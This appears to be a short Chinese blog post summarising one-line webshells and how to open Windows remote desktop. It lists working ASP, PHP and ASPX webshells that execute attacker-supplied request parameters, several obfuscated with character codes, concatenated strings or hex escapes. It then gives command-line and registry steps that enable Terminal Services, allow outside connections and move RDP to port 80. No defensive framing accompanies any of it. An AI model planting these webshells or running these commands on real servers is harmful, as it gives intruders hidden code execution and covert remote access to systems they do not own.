一句话shell总结及开启3389端口
ASP一句话: <%execute(request("aaa"))%>
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("a"))%>
<%eval request("aaa")%>
PHP一句话: <?php eval($_POST[aaa]);?>
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[cc]); ?>
ASPX一句话: <%@PAGE LANGUAGE=JSCRIPT%> <%var PAY:String= Request["\x61\x62\x63\x64"];eval (PAY,"\x75\x6E\x73\x61"+ "\x66\x65");%>
DOS下开3389 并修改端口号
sc config termservice start= auto
net start termservice
//允许外连
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f
//该3389端口到80
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f
本文来自博客园,作者:田家少闲月-,转载请注明原文链接:https://www.cnblogs.com/zhaoyunxiang/p/16055748.html